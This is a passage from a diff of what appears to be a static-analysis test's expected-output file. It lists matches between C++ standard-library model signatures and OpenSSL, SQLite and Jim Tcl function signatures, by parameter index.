stl.h:64:18:64:27 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | evp_pkey_type2name | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_tolower | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_toupper | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_errstr | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | tls13_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 1 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | forward_list | assign | 0 | @@ -313,10 +5386,175 @@ signatureMatches | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 0 | | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 1 | | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 2 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:218:33:218:35 | get | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:218:33:218:35 | get | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:218:33:218:35 | get | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:218:33:218:35 | get | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:218:33:218:35 | get | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:218:33:218:35 | get | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:218:33:218:35 | get | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:218:33:218:35 | get | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:218:33:218:35 | get | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:218:33:218:35 | get | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:218:33:218:35 | get | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:220:33:220:36 | read | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:220:33:220:36 | read | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:220:33:220:36 | read | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:220:33:220:36 | read | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:220:33:220:36 | read | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:220:33:220:36 | read | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:220:33:220:36 | read | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:220:33:220:36 | read | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:220:33:220:36 | read | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:220:33:220:36 | read | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:220:33:220:36 | read | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:221:14:221:21 | readsome | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:221:14:221:21 | readsome | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:221:14:221:21 | readsome | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:221:14:221:21 | readsome | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:221:14:221:21 | readsome | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:225:32:225:38 | getline | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:225:32:225:38 | getline | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:225:32:225:38 | getline | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:225:32:225:38 | getline | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:225:32:225:38 | getline | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | deque | insert | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | forward_list | insert_after | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | list | insert | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | vector | insert | 2 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_tag2bit | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_tag2str | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Jim_ReturnCode | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Jim_SignalId | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2ln | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2obj | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2sn | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | PKCS12_init | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Symbol_Nth | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_TRUST_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | evp_pkey_type2name | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_tolower | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_toupper | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_errstr | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | tls13_alert_code | 0 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:243:33:243:37 | write | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:243:33:243:37 | write | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:243:33:243:37 | write | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:243:33:243:37 | write | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:243:33:243:37 | write | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:243:33:243:37 | write | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:243:33:243:37 | write | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:243:33:243:37 | write | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:243:33:243:37 | write | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:243:33:243:37 | write | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:243:33:243:37 | write | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | @@ -433,6 +5671,20 @@ signatureMatches | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:318:13:318:14 | at | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:318:13:318:14 | at | (unsigned int) | | ssl3_get_cipher | 0 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | deque | insert | 0 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | deque | insert | 1 | | stl.h:331:12:331:17 | insert | (const_iterator,T &&) | forward_list | insert_after | 0 | @@ -545,6 +5797,13 @@ signatureMatches | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | list | assign | 1 | | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | vector | assign | 0 | | stl.h:574:38:574:43 | insert | (InputIt,InputIt) | vector | assign | 1 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| stl.h:611:33:611:45 | unordered_set | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| stl.h:611:33:611:45 | unordered_set | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| stl.h:611:33:611:45 | unordered_set | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | | stl.h:623:36:623:47 | emplace_hint | (format_string,Args &&) | | format | 1 | | stl.h:623:36:623:47 | emplace_hint | (format_string,Args &&) | | format | 1 | | stl.h:627:12:627:17 | insert | (const_iterator,T &&) | deque | insert | 0 | @@ -569,84 +5828,9801 @@ signatureMatches | stl.h:678:33:678:38 | format | (format_string,Args &&) | | format | 1 | | stl.h:683:6:683:48 | same_signature_as_format_but_different_name | (format_string,Args &&) | | format | 0 | | stl.h:683:6:683:48 | same_signature_as_format_but_different_name | (format_string,Args &&) | | format | 1 | +| string.cpp:17:6:17:9 | sink | (const char *) | | BIO_gethostbyname | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Jim_StrDup | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | OPENSSL_LH_strhash | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Strsafe | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | Symbol_new | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | UI_create_method | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | X509V3_parse_list | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | opt_path_end | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | opt_progname | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | +| string.cpp:17:6:17:9 | sink | (const char *) | | strhash | 0 | +| string.cpp:19:6:19:9 | sink | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| string.cpp:19:6:19:9 | sink | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| string.cpp:19:6:19:9 | sink | (BIGNUM **,const char *) | | BN_hex2bn | 